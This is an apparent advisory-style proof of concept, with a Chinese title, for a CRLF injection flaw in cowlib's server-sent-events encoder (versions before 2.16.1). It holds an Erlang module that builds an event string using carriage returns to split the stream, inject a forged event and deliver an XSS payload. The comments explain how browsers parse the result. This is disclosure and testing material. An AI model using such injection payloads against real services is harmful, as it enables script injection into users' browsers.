CVE-2026-43968 cowlib CRLF注入漏洞

%% PoC Concept: Injecting a malicious event using Carriage Return %% Vulnerable component: ninenines cowlib < 2.16.1 -module(cve_poc). -export([inject/0]). inject() -> %% Normal event data controlled by user Id = "123", %% Malicious payload injecting CRLF (\r) to split the event %% This injects a new 'event: hack' and 'data: <script>...' Data = "normal_data\revent: hack\rdata: <img src=x onerror=alert(1)>", %% In vulnerable versions, cow_sse:event/1 processes this. %% The output stream sent to the browser will look like: %% id: 123 %% data: normal_data %% event: hack %% data: <img src=x onerror=alert(1)> %% The browser EventSource API treats the \r as a line terminator, %% effectively splitting the event and executing the XSS payload. io:format("Payload: ~p~n", [Data]).